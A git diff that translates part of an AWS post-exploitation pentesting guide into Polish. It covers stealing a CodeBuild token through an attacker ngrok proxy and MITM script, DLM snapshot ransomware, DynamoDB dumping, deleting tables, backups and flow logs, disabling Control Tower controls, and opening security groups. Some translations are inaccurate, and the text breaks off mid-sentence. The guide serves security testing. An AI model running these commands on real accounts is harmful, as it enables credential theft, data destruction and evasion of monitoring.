### ~~Via HTTP protocol~~ -> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)** +> [!TIP] > **Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już tego nadużywać :)** -An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**. +Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby wyciekować token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**. -- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`). +- Atakujący mógłby dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions` -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Następnie zmień URL repozytorium github, aby używał HTTP zamiast HTTPS, na przykład: `http://github.com/carlospolop-forks/TestActions` +- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="0.0.0.0", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="0.0.0.0", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Next, click on **Build the project** or start the build from command line: - +- Następnie kliknij na **Zbuduj projekt** lub rozpocznij budowę z linii poleceń: ```sh aws codebuild start-build --project-name ``` - -- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- W końcu **poświadczenia** będą **wysyłane w czystym tekście** (base64) do portu mitm:
> [!WARNING] -> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly. +> Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wylistować wszystkie posiadane uprawnienia i (nadużywać) łatwiej niż korzystając bezpośrednio z usługi CodeBuild. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index f1c6fb394..9b4af4160 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -1,24 +1,18 @@ -# AWS - Control Tower Post Exploitation +# AWS - Kontrola Wieży Po Eksploatacji {{#include ../../../banners/hacktricks-training.md}} -## Control Tower +## Kontrola Wieży {{#ref}} ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Enable / Disable Controls - -To further exploit an account, you might need to disable/enable Control Tower controls: +### Włącz / Wyłącz Kontrole +Aby dalej eksploatować konto, może być konieczne wyłączenie/włączenie kontroli Kontroli Wieży: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index baa309e53..a2ece8d0d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -2,98 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## Data Lifecycle Manger (DLM) +## Menedżer cyklu życia danych (DLM) ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot. +Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS i następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę. -Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type. +Najpierw użyje się polecenia, aby zebrać informacje o wolumenach, takie jak ID instancji, ID wolumenu, status szyfrowania, status załączenia i typ wolumenu. `aws ec2 describe-volumes` -Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs. - +Następnie zostanie utworzona polityka cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowane zostaną również konkretne tagi do migawek oraz skopiowane tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` - -A template for the policy document can be seen here: - +Szablon dokumentu polityki można zobaczyć tutaj: ```bash { - "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", - "ResourceTypes": [ - "VOLUME" - ], - "TargetTags": [ - { - "Key": "ExampleKey", - "Value": "ExampleValue" - } - ], - "Schedules": [ - { - "Name": "DailySnapshots", - "CopyTags": true, - "TagsToAdd": [ - { - "Key": "SnapshotCreator", - "Value": "DLM" - } - ], - "VariableTags": [ - { - "Key": "CostCenter", - "Value": "Finance" - } - ], - "CreateRule": { - "Interval": 24, - "IntervalUnit": "HOURS", - "Times": [ - "03:00" - ] - }, - "RetainRule": { - "Count": 14 - }, - "FastRestoreRule": { - "Count": 2, - "Interval": 12, - "IntervalUnit": "HOURS" - }, - "CrossRegionCopyRules": [ - { - "TargetRegion": "us-west-2", - "Encrypted": true, - "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", - "CopyTags": true, - "RetainRule": { - "Interval": 1, - "IntervalUnit": "DAYS" - } - } - ], - "ShareRules": [ - { - "TargetAccounts": [ - "123456789012" - ], - "UnshareInterval": 30, - "UnshareIntervalUnit": "DAYS" - } - ] - } - ], - "Parameters": { - "ExcludeBootVolume": false - } +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index d63689d9e..a112cb684 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -4,7 +4,7 @@ ## DynamoDB -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,342 +12,292 @@ For more information check: ### `dynamodb:BatchGetItem` -An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`). +Atakujący z tymi uprawnieniami będzie mógł **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (możesz to uzyskać, pobierając metadane tabeli (`describe-table`). {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { - "ProductCatalog" : { // This is the table name - "Keys": [ - { - "Id" : { // Primary keys name - "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those - } - } - ] - } +"ProductCatalog" : { // This is the table name +"Keys": [ +{ +"Id" : { // Primary keys name +"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those +} +} +] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb batch-get-item \ - --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ - --region +--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli ### `dynamodb:GetItem` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve: - +**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem podania klucza głównego wpisu do pobrania: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { - "N": "205" +"N": "205" } } ``` - -With this permission it's also possible to use the **`transact-get-items`** method like: - +Z tymi uprawnieniami możliwe jest również użycie metody **`transact-get-items`** w następujący sposób: ```json aws dynamodb transact-get-items \ - --transact-items file:///tmp/a.json +--transact-items file:///tmp/a.json // With a.json [ - { - "Get": { - "Key": { - "Id": {"N": "205"} - }, - "TableName": "ProductCatalog" - } - } +{ +"Get": { +"Key": { +"Id": {"N": "205"} +}, +"TableName": "ProductCatalog" +} +} ] ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli ### `dynamodb:Query` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. +**Podobnie jak w przypadku poprzednich uprawnień** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania. Umożliwia to użycie [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym dozwolonym porównaniem z kluczem głównym (który musi się pojawić) jest "EQ", więc nie można użyć porównania, aby uzyskać całą bazę danych w jednym żądaniu. {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json - // With a.json - { +// With a.json +{ "Id" : { - "ComparisonOperator":"EQ", - "AttributeValueList": [ {"N": "205"} ] - } +"ComparisonOperator":"EQ", +"AttributeValueList": [ {"N": "205"} ] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb query \ - --table-name TargetTable \ - --key-condition-expression "AttributeName = :value" \ - --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ - --region +--table-name TargetTable \ +--key-condition-expression "AttributeName = :value" \ +--expression-attribute-values '{":value":{"S":"TargetValue"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli ### `dynamodb:Scan` -You can use this permission to **dump the entire table easily**. - +Możesz użyć tego uprawnienia, aby **łatwo zrzucić całą tabelę**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli ### `dynamodb:PartiQLSelect` -You can use this permission to **dump the entire table easily**. - +Możesz użyć tego uprawnienia, aby **łatwo zrzucić całą tabelę**. ```bash aws dynamodb execute-statement \ - --statement "SELECT * FROM ProductCatalog" +--statement "SELECT * FROM ProductCatalog" ``` - -This permission also allow to perform `batch-execute-statement` like: - +To uprawnienie pozwala również na wykonanie `batch-execute-statement` jak: ```bash aws dynamodb batch-execute-statement \ - --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' +--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` +ale musisz określić klucz główny z wartością, więc nie jest to zbyt przydatne. -but you need to specify the primary key with a value, so it isn't that useful. - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -This permission will allow an attacker to **export the whole table to a S3 bucket** of his election: - +To uprawnienie pozwoli atakującemu na **eksport całej tabeli do wybranego przez niego koszyka S3:** ```bash aws dynamodb export-table-to-point-in-time \ - --table-arn arn:aws:dynamodb:::table/TargetTable \ - --s3-bucket \ - --s3-prefix \ - --export-time \ - --region +--table-arn arn:aws:dynamodb:::table/TargetTable \ +--s3-bucket \ +--s3-prefix \ +--export-time \ +--region ``` - -Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: - +Zauważ, że aby to zadziałało, tabela musi mieć włączoną funkcję odzyskiwania w czasie rzeczywistym, możesz sprawdzić, czy tabela ją ma, używając: ```bash aws dynamodb describe-continuous-backups \ - --table-name +--table-name ``` - -If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission: - +Jeśli nie jest włączona, musisz **włączyć ją** i do tego potrzebujesz uprawnienia **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ - --table-name \ - --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true +--table-name \ +--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w tabeli ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table. - +Dzięki tym uprawnieniom, atakujący mógłby **utworzyć nową tabelę z kopii zapasowej** (lub nawet utworzyć kopię zapasową, aby następnie przywrócić ją w innej tabeli). Następnie, z odpowiednimi uprawnieniami, mógłby sprawdzić **informacje** z kopii zapasowych, które **mogłyby już nie znajdować się w tabeli produkcyjnej**. ```bash aws dynamodb restore-table-from-backup \ - --backup-arn \ - --target-table-name \ - --region +--backup-arn \ +--target-table-name \ +--region ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table backup +**Potencjalny wpływ:** Pośredni privesc poprzez zlokalizowanie wrażliwych informacji w kopii zapasowej tabeli ### `dynamodb:PutItem` -This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**. +To uprawnienie pozwala użytkownikom dodać **nowy element do tabeli lub zastąpić istniejący element** nowym elementem. Jeśli element o tym samym kluczu głównym już istnieje, **cały element zostanie zastąpiony** nowym elementem. Jeśli klucz główny nie istnieje, nowy element z określonym kluczem głównym zostanie **utworzony**. {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { - "Id": { - "S": "1000" - }, - "Name": { - "S": "Marc" - }, - "Description": { - "S": "" - } +"Id": { +"S": "1000" +}, +"Name": { +"S": "Marc" +}, +"Description": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb put-item \ - --table-name ExampleTable \ - --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ - --region +--table-name ExampleTable \ +--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Potencjalny wpływ:** Wykorzystanie dalszych luk/bypassów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB ### `dynamodb:UpdateItem` -This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression. +To uprawnienie pozwala użytkownikom **modyfikować istniejące atrybuty przedmiotu lub dodawać nowe atrybuty do przedmiotu**. Nie **zastępuje** całego przedmiotu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy przedmiot** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji. {{#tabs }} {{#tab name="XSS Example" }} - ```bash ## Update item with XSS payload aws dynamodb update-item --table \ - --key file://key.json --update-expression "SET Description = :value" \ - --expression-attribute-values file://val.json +--key file://key.json --update-expression "SET Description = :value" \ +--expression-attribute-values file://val.json ### With key.json: { - "Id": { - "S": "1000" - } +"Id": { +"S": "1000" +} } ### and val.json { - ":value": { - "S": "" - } +":value": { +"S": "" +} } ``` - {{#endtab }} {{#tab name="AI Example" }} - ```bash aws dynamodb update-item \ - --table-name ExampleTable \ - --key '{"Id": {"S": "1"}}' \ - --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ - --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ - --region +--table-name ExampleTable \ +--key '{"Id": {"S": "1"}}' \ +--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ +--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Potencjalny wpływ:** Wykorzystanie dalszych luk/bypassów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB ### `dynamodb:DeleteTable` -An attacker with this permission can **delete a DynamoDB table, causing data loss**. - +Napastnik z tym uprawnieniem może **usunąć tabelę DynamoDB, powodując utratę danych**. ```bash aws dynamodb delete-table \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -**Potential impact**: Data loss and disruption of services relying on the deleted table. +**Potencjalny wpływ**: Utrata danych i zakłócenie usług opartych na usuniętej tabeli. ### `dynamodb:DeleteBackup` -An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**. - +Napastnik z tym uprawnieniem może **usunąć kopię zapasową DynamoDB, co może spowodować utratę danych w przypadku scenariusza odzyskiwania po awarii**. ```bash aws dynamodb delete-backup \ - --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ - --region +--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ +--region ``` - -**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario. +**Potencjalny wpływ**: Utrata danych i niemożność ich odzyskania z kopii zapasowej w scenariuszu odzyskiwania po awarii. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Test if this actually works +> TODO: Przetestować, czy to rzeczywiście działa -An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage. - -1. Enable a stream on a DynamoDB table: +Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych. +1. Włącz strumień na tabeli DynamoDB: ```bash bashCopy codeaws dynamodb update-table \ - --table-name TargetTable \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ - --region +--table-name TargetTable \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ +--region ``` - -2. Describe the stream to obtain the ARN and other details: - +2. Opisz strumień, aby uzyskać ARN i inne szczegóły: ```bash bashCopy codeaws dynamodb describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -3. Get the shard iterator using the stream ARN: - +3. Uzyskaj iterator shard za pomocą ARN strumienia: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ - --stream-arn \ - --shard-id \ - --shard-iterator-type LATEST \ - --region +--stream-arn \ +--shard-id \ +--shard-iterator-type LATEST \ +--region ``` - -4. Use the shard iterator to access and exfiltrate data from the stream: - +4. Użyj iteratora shard, aby uzyskać dostęp do danych i wyeksportować je ze strumienia: ```bash bashCopy codeaws dynamodbstreams get-records \ - --shard-iterator \ - --region +--shard-iterator \ +--region ``` - -**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. +**Potencjalny wpływ**: Monitorowanie w czasie rzeczywistym i wyciek danych dotyczących zmian w tabeli DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9ae6a0a4f..ef0b9e8af 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,27 +4,26 @@ ## EC2 & VPC -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Złośliwe lustrzane VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ -An attacker could abuse this to capture all the traffic and obtain sensitive information from it: +Lustrzane odbicie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania intruzów w sieci (IDS) w celu analizy i monitorowania.\ +Napastnik mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania wrażliwych informacji: -For more information check this page: +Aby uzyskać więcej informacji, sprawdź tę stronę: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance - -Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**: +### Kopiowanie działającej instancji +Instancje zazwyczaj zawierają jakiś rodzaj wrażliwych informacji. Istnieją różne sposoby, aby się do nich dostać (sprawdź [sztuczki eskalacji uprawnień EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Jednak innym sposobem na sprawdzenie, co zawierają, jest **utworzenie AMI i uruchomienie nowej instancji (nawet na swoim własnym koncie) z niej**: ```shell # List instances aws ec2 describe-images @@ -48,11 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` - ### EBS Snapshot dump -**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\ -If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: +**Migawki to kopie zapasowe wolumenów**, które zazwyczaj zawierają **wrażliwe informacje**, dlatego ich sprawdzenie powinno ujawnić te informacje.\ +Jeśli znajdziesz **wolumen bez migawki**, możesz: **Utworzyć migawkę** i wykonać następujące działania lub po prostu **zamontować go w instancji** w ramach konta: {{#ref}} aws-ebs-snapshot-dump.md @@ -62,197 +60,178 @@ aws-ebs-snapshot-dump.md #### DNS Exfiltration -Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. +Nawet jeśli zablokujesz EC2, aby żaden ruch nie mógł się wydostać, nadal może **wyciekać przez DNS**. -- **VPC Flow Logs will not record this**. -- You have no access to AWS DNS logs. -- Disable this by setting "enableDnsSupport" to false with: +- **Logi przepływu VPC nie zarejestrują tego**. +- Nie masz dostępu do logów DNS AWS. +- Wyłącz to, ustawiając "enableDnsSupport" na false za pomocą: - `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` +`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +Napastnik mógłby wywołać punkty końcowe API konta, które kontroluje. Cloudtrail zarejestruje te wywołania, a napastnik będzie mógł zobaczyć wykradzione dane w logach Cloudtrail. ### Open Security Group -You could get further access to network services by opening ports like this: - +Możesz uzyskać dalszy dostęp do usług sieciowych, otwierając porty w ten sposób: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` +### Privesc do ECS -### Privesc to ECS +Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchomienia instancji ECS, a następnie kradzież danych instancji ECS. -It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. - -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). - -### Remove VPC flow logs +Dla [**więcej informacji sprawdź to**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +### Usuń logi przepływu VPC ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` - ### SSM Port Forwarding -Required permissions: +Wymagane uprawnienia: - `ssm:StartSession` -In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. -One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster. +Oprócz wykonywania poleceń, SSM umożliwia tunelowanie ruchu, co można wykorzystać do pivotowania z instancji EC2, które nie mają dostępu do sieci z powodu grup zabezpieczeń lub NACL. Jednym ze scenariuszy, w których jest to przydatne, jest pivotowanie z [Bastion 